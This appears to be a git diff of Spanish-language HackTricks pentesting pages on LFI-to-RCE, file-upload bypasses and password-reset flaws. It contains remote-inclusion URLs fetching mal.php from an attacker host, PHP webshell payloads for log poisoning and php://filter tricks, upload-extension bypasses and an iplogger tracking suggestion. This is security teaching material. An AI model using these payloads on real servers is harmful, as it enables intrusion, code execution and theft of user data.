¡Para obtener detalles técnicos, consulta la publicación mencionada!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### RFI básico
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
### Inclusión de Archivos Remotos
|
||||
|
||||
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** y **no se ejecutará nada más**.
|
||||
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **no se ejecutará nada más**.
|
||||
|
||||
Además, asegúrate de **escribir correctamente la carga útil** o PHP lanzará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
Además, asegúrate de **escribir correctamente la carga útil** o PHP mostrará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
{% endhint %}
|
||||
|
||||
Esto también se puede hacer en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado **authorisation "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de este encabezado.\
|
||||
Esto también se puede hacer en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. La cabecera **authorisation "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de esta cabecera.\
|
||||
Otros posibles caminos de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -573,35 +547,41 @@ login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|||
```
|
||||
# Inclusión de archivos PHP de sesión utilizando LFI
|
||||
|
||||
La inclusión de archivos locales (LFI, por sus siglas en inglés) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos arbitrarios en el servidor. Una forma común de explotar esta vulnerabilidad es incluir el archivo de sesión PHP para obtener acceso a la sesión de un usuario.
|
||||
La Inclusión de Archivos Locales (LFI, por sus siglas en inglés) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos arbitrarios en el servidor. Una forma específica de aprovechar esta vulnerabilidad es la inclusión de archivos de sesión PHP.
|
||||
|
||||
## Paso 1: Identificar la vulnerabilidad LFI
|
||||
## ¿Qué es un archivo de sesión PHP?
|
||||
|
||||
El primer paso es identificar si la aplicación web es vulnerable a la inclusión de archivos locales. Esto se puede hacer enviando una solicitud HTTP con una ruta de archivo maliciosa en los parámetros de la URL. Por ejemplo:
|
||||
Un archivo de sesión PHP es un archivo que almacena información sobre la sesión de un usuario en una aplicación web. Contiene datos como variables de sesión, preferencias del usuario y otra información relevante.
|
||||
|
||||
```
|
||||
http://example.com/page.php?file=../../../etc/passwd
|
||||
## Aprovechando la LFI para incluir archivos de sesión PHP
|
||||
|
||||
Para aprovechar la LFI y acceder a los archivos de sesión PHP, se puede utilizar una ruta de inclusión de archivo local válida. Esto puede ser una ruta relativa o absoluta al archivo de sesión PHP en el servidor.
|
||||
|
||||
A continuación se muestra un ejemplo de cómo se puede realizar la inclusión de archivos de sesión PHP utilizando LFI:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$sessionFile = $_GET['session']; // Obtener el nombre del archivo de sesión desde el parámetro de la URL
|
||||
include('/var/www/sessions/' . $sessionFile . '.php'); // Incluir el archivo de sesión PHP
|
||||
?>
|
||||
```
|
||||
|
||||
Si la aplicación muestra el contenido del archivo `/etc/passwd`, es probable que sea vulnerable a la inclusión de archivos locales.
|
||||
En este ejemplo, el nombre del archivo de sesión se obtiene a través del parámetro de la URL llamado "session". El archivo de sesión se incluye utilizando la función `include()` de PHP.
|
||||
|
||||
## Paso 2: Incluir el archivo de sesión PHP
|
||||
## Consecuencias de la inclusión de archivos de sesión PHP
|
||||
|
||||
Una vez que se ha identificado la vulnerabilidad LFI, el siguiente paso es incluir el archivo de sesión PHP. El archivo de sesión suele tener una extensión como `.php` o `.sess`. Puede intentar incluirlo utilizando una ruta relativa o absoluta, dependiendo de cómo esté configurada la aplicación.
|
||||
Si un atacante logra aprovechar con éxito la LFI para incluir archivos de sesión PHP, puede acceder a la información almacenada en esos archivos. Esto puede incluir datos confidenciales como contraseñas, tokens de autenticación y otra información sensible.
|
||||
|
||||
Por ejemplo, si la aplicación utiliza una ruta relativa para incluir el archivo de sesión, puede intentar algo como esto:
|
||||
## Medidas de protección
|
||||
|
||||
```
|
||||
http://example.com/page.php?file=../../../path/to/session.php
|
||||
```
|
||||
Para protegerse contra la inclusión de archivos de sesión PHP utilizando LFI, se recomienda:
|
||||
|
||||
Si la inclusión tiene éxito, el contenido del archivo de sesión PHP se mostrará en la respuesta HTTP. Esto puede incluir información confidencial, como nombres de usuario, contraseñas o tokens de autenticación.
|
||||
- Validar y filtrar cualquier entrada de usuario, como los parámetros de la URL, antes de utilizarla en una operación de inclusión de archivos.
|
||||
- Utilizar rutas absolutas en lugar de rutas relativas para incluir archivos de sesión PHP.
|
||||
- Limitar los permisos de acceso a los archivos de sesión PHP para que solo el servidor web pueda acceder a ellos.
|
||||
- Mantener actualizado el software y las bibliotecas utilizadas en la aplicación web para evitar vulnerabilidades conocidas.
|
||||
|
||||
## Paso 3: Explotar la información de la sesión
|
||||
|
||||
Una vez que se ha incluido el archivo de sesión PHP, puede utilizar la información obtenida para explotar la sesión de un usuario. Esto puede implicar robar credenciales, realizar acciones en nombre del usuario o acceder a áreas restringidas de la aplicación.
|
||||
|
||||
Es importante tener en cuenta que la inclusión de archivos locales puede tener consecuencias graves y debe ser abordada por los desarrolladores de la aplicación lo antes posible. Como pentester, es fundamental informar sobre esta vulnerabilidad y proporcionar recomendaciones para su corrección.
|
||||
Recuerda que es importante realizar pruebas de penetración (pentesting) en tu aplicación web para identificar y corregir posibles vulnerabilidades de seguridad, como la inclusión de archivos locales (LFI).
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -615,9 +595,7 @@ Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log.**_ Si
|
|||
|
||||
### A través del filtro base64 de PHP (usando base64)
|
||||
|
||||
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar esto para evitar la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64.
|
||||
|
||||
Aquí tienes un ejemplo de carga útil:
|
||||
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar esto para evitar la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64. Aquí tienes un ejemplo de carga útil:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -625,7 +603,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
```
|
||||
### A través de filtros php (no se necesita un archivo)
|
||||
|
||||
Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que se pueden utilizar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que se puede **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -633,7 +611,7 @@ Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
|
|||
|
||||
### A través de una falla de segmentación
|
||||
|
||||
**Carga** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca una **falla de segmentación**, y luego el **archivo temporal no se eliminará** y podrás buscarlo.
|
||||
**Cargue** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoque una **falla de segmentación**, y luego el **archivo temporal no se eliminará** y podrá buscarlo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
|
@ -641,7 +619,7 @@ Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
|
|||
|
||||
### A través del almacenamiento de archivos temporales de Nginx
|
||||
|
||||
Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecutando frente a PHP, es posible que puedas obtener RCE con la siguiente técnica:
|
||||
Si encuentra una **Inclusión Local de Archivos** y **Nginx** se está ejecutando frente a PHP, es posible que pueda obtener RCE con la siguiente técnica:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -649,7 +627,7 @@ Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecuta
|
|||
|
||||
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Si encontraste una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión por ti**. Puedes abusar de esto para obtener RCE:
|
||||
Si encuentra una **Inclusión Local de Archivos** incluso si **no tiene una sesión** y `session.auto_start` está en `Off`. Si proporciona **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión por usted**. Podría abusar de esto para obtener RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
|
@ -657,7 +635,7 @@ Si encontraste una **Inclusión Local de Archivos** incluso si **no tienes una s
|
|||
|
||||
### A través de la carga de archivos temporales en Windows
|
||||
|
||||
Si encontraste una **Inclusión Local de Archivos** y el servidor se está ejecutando en **Windows**, es posible que obtengas RCE:
|
||||
Si encuentra una **Inclusión Local de Archivos** y el servidor se está ejecutando en **Windows**, es posible que obtenga RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -665,7 +643,7 @@ Si encontraste una **Inclusión Local de Archivos** y el servidor se está ejecu
|
|||
|
||||
### A través de phpinfo() (file\_uploads = on)
|
||||
|
||||
Si encontraste una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||||
Si encuentra una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on, puede obtener RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -673,7 +651,7 @@ Si encontraste una **Inclusión Local de Archivos** y un archivo que expone **ph
|
|||
|
||||
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de ruta
|
||||
|
||||
Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**:
|
||||
Si encuentra una **Inclusión Local de Archivos** y puede **filtrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas PHP**, puede intentar **burlar esa verificación** con esta **Condición de Carrera**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -681,7 +659,7 @@ Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta**
|
|||
|
||||
### A través de espera eterna + fuerza bruta
|
||||
|
||||
Si puedes abusar de la LFI para **cargar archivos temporales** y hacer que el servidor **se quede colgado** en la ejecución de PHP, entonces podrías **probar nombres de archivo durante horas** para encontrar el archivo temporal:
|
||||
Si puede abusar de la LFI para **cargar archivos temporales** y hacer que el servidor **se detenga** la ejecución de PHP, luego podría **probar nombres de archivo durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -689,9 +667,9 @@ Si puedes abusar de la LFI para **cargar archivos temporales** y hacer que el se
|
|||
|
||||
### Hasta el error fatal
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para lanzar ese error).
|
||||
Si incluye cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Debe incluir el mismo dos veces para generar ese error).
|
||||
|
||||
**No sé cómo es útil esto, pero podría serlo.**\
|
||||
**No sé cómo es útil, pero podría serlo.**\
|
||||
_Incluso si causa un Error Fatal de PHP, los archivos temporales cargados de PHP se eliminan._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -703,20 +681,20 @@ _Incluso si causa un Error Fatal de PHP, los archivos temporales cargados de PHP
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
**Obtenga recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirá la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Obtenga experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domine la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Conviértase en la leyenda del hacker web3**\
|
||||
Obtenga puntos de reputación con cada error verificado y conquiste la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
[**Regístrese en HackenProof**](https://hackenproof.com/register) ¡comience a ganar con sus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -724,8 +702,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -61,7 +61,7 @@ Otras extensiones útiles:
|
|||
* _file.php%00.png%00.jpg_
|
||||
6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **.php**, pero **no necesariamente terminando en .php**, ejecutará código):
|
||||
* _ej: file.php.png_
|
||||
7. Usa **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "file.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas como el uso de su nombre de archivo corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también puede ser útil para saltar restricciones adicionales (por ejemplo, "file.asp::$data.")
|
||||
7. Usa **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "file.asax:.jpg"). Este archivo podría ser editado más tarde utilizando otras técnicas como el uso de su nombre de archivo corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también puede ser útil para saltar restricciones adicionales (por ejemplo, "file.asp::$data.")
|
||||
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y se deja el PHP malicioso. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -90,8 +90,6 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías utilizar la técnica del **chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
|
||||
|
||||
### Otros trucos para comprobar
|
||||
|
||||
* Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (cambiar la extensión).
|
||||
|
@ -105,7 +103,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
6. Subir un archivo en **Windows** utilizando **nombres** **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
|
||||
* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
|
||||
|
||||
### Trucos especiales de extensiones
|
||||
### Trucos especiales de extensión
|
||||
|
||||
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
@ -118,7 +116,7 @@ La extensión `.inc` se utiliza a veces para archivos PHP que solo se utilizan p
|
|||
|
||||
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **los nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell!
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1).png>)
|
||||
![](<../../.gitbook/assets/image (1) (3) (1) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
|
@ -180,8 +178,11 @@ Ten en cuenta que **otra opción** que puedes considerar para evadir esta verifi
|
|||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
|
||||
## Herramientas
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una poderosa herramienta diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Utiliza varias técnicas de recompensa de errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando una evaluación exhaustiva de las aplicaciones web.
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una poderosa herramienta diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Utiliza varias técnicas de recompensa de errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando una evaluación exhaustiva de las aplicaciones web.
|
||||
|
||||
## Desde la carga de archivos hasta otras vulnerabilidades
|
||||
|
||||
* Establece el **nombre de archivo** como `../../../tmp/lol.png` e intenta lograr una **travesía de ruta**
|
||||
|
@ -192,15 +193,15 @@ Ten en cuenta que **otra opción** que puedes considerar para evadir esta verifi
|
|||
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE en carga de archivos svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirección abierta** mediante la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Prueba con **cargas útiles svg** diferentes de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* Prueba **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si puedes **indicar al servidor web que capture una imagen desde una URL**, podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
* Si puedes **indicar al servidor web que capture una imagen desde una URL**, podrías intentar abusar de una [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||
* [**XXE y CORS** bypass con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF especialmente diseñados para XSS: La [siguiente página muestra cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDF, puedes preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones proporcionadas.
|
||||
* PDF especialmente diseñados para XSS: La [siguiente página muestra cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDF, puedes preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
|
||||
* Carga el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
|
||||
* Comprueba si hay algún **límite de tamaño** para cargar archivos
|
||||
|
||||
Aquí tienes una lista de las 10 principales cosas que puedes lograr mediante la carga de archivos (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos (de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS almacenado / SSRF / XXE
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -29,11 +29,11 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
Las siguientes técnicas de recompilación fueron tomadas de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
Las siguientes técnicas de recompilación se tomaron de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
|
||||
## Fuga de Token de Restablecimiento de Contraseña a través del Referer
|
||||
## Fuga de Token de Restablecimiento de Contraseña a través del Referente
|
||||
|
||||
El **referer HTTP** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se solicita. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
|
||||
El **referente HTTP** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se solicita. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
|
||||
|
||||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||||
|
||||
|
@ -245,31 +245,41 @@ Cuando se realiza una prueba de penetración en una aplicación web, una de las
|
|||
|
||||
## Identificación de debilidades
|
||||
|
||||
Durante la fase de identificación de debilidades, es importante buscar posibles vulnerabilidades en el proceso de restablecimiento de contraseña. Algunas de las debilidades comunes incluyen:
|
||||
Durante la fase de identificación de debilidades, es importante buscar posibles vulnerabilidades en el proceso de restablecimiento de contraseña. Algunas de las áreas comunes a evaluar incluyen:
|
||||
|
||||
- **Fuerza bruta**: La falta de medidas de protección contra ataques de fuerza bruta puede permitir a un atacante adivinar contraseñas débiles o predecibles.
|
||||
- **Preguntas de seguridad débiles**: Las preguntas de seguridad débiles o predecibles pueden permitir a un atacante obtener respuestas fácilmente y restablecer la contraseña.
|
||||
- **Enlaces de restablecimiento de contraseña inseguros**: Los enlaces de restablecimiento de contraseña que no están protegidos adecuadamente pueden ser interceptados por un atacante y utilizados para restablecer la contraseña de un usuario legítimo.
|
||||
